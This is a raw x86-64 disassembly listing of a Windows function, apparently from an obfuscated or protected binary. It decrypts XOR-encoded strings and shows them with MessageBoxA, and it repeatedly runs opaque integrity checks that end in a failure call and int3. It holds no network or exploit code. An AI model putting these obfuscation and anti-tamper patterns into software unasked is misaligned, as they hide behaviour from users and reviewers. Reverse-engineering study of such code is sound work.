cmp rax, rcx
je 0x14002ea0b
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002ea0b
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002ea2b
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, r15
jne 0x14002f10b
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002eace
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002eace
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002f10b
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x4c8], xmm0
mov word [rbp + 0x4d8], reloc.WS2_32.dll_recvfrom
mov r10, r15
movabs rbx, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1e62eaf3c2
movabs r9, 0x3cc5d5e784
movabs r14, 0x1c99559a1
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x4c8]
xor dil, r10b
mov byte [rbp + r10 + 0x4c8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002eb38
mov byte [rbp + 0x4d9], r15b
movdqa xmm0, xmmword [0x1400d5650]
movdqu xmmword [rbp + 0x768], xmm0
mov dword [rbp + 0x778], 0x7f60efe2
mov word [rbp + 0x77c], reloc.WS2_32.dll_recvfrom
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x2589405a4a
movabs r10, 0x4b1280b494
mov cl, r9b
and cl, r13b
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x768], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x14002ebe4
mov byte [rbp + 0x77d], r15b
xor r9d, r9d
lea r8, [rbp + 0x4c8]
lea rdx, [rbp + 0x768]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x35]
mov r15d, 0xce3e160c
cmp rax, r15
jne 0x14002ed11
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002ecf1
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002ecf1
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002ed11
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, r15
jne 0x14002f10b
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002edb4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002edb4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002f10b
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x14002ee7e
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002ee5e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002ee5e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002ee7e
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x4e0], xmm0
mov word [rbp + 0x4f0], reloc.WS2_32.dll_recvfrom
mov rdi, r15
movabs rsi, 0x1c99559a1
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x4e0]
lea rcx, [rbp + 0x4e0]
call fcn.14002f23c
xor al, dil
mov byte [rbp + rdi + 0x4e0], al
inc rdi
cmp rdi, 0x11
jb 0x14002eea4
mov byte [rbp + 0x4f1], r15b
movdqa xmm0, xmmword [0x1400d5620]
movdqu xmmword [rbp + 0xce8], xmm0
movdqa xmm1, xmmword [0x1400d56d0]
movdqu xmmword [rbp + 0xcf8], xmm1
movdqa xmm0, xmmword [0x1400d55b0]
movdqu xmmword [rbp + 0xd08], xmm0
mov dword [rbp + 0xd18], 0x8bef120e
mov dword [rbp + 0xd1c], 0xea439628
mov dword [rbp + 0xd20], 0xad0c7b2d
mov word [rbp + 0xd24], Ordinal_41
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xce8]
lea rcx, [rbp + 0xce8]
call fcn.14002f2b0
xor al, dil
mov byte [rbp + rdi + 0xce8], al
inc rdi
cmp rdi, 0x3d
jb 0x14002ef39
mov byte [rbp + 0xd25], r15b
xor r9d, r9d
lea r8, [rbp + 0x4e0]
lea rdx, [rbp + 0xce8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x35]
mov edi, 0xcbaaefd1
cmp rax, rbx
jne 0x14002f04e
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002f02e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002f02e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002f04e
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x14002f10b
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002f0eb
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002f0eb
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002f10b
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov ecx, 1
call fcn.140095438
int3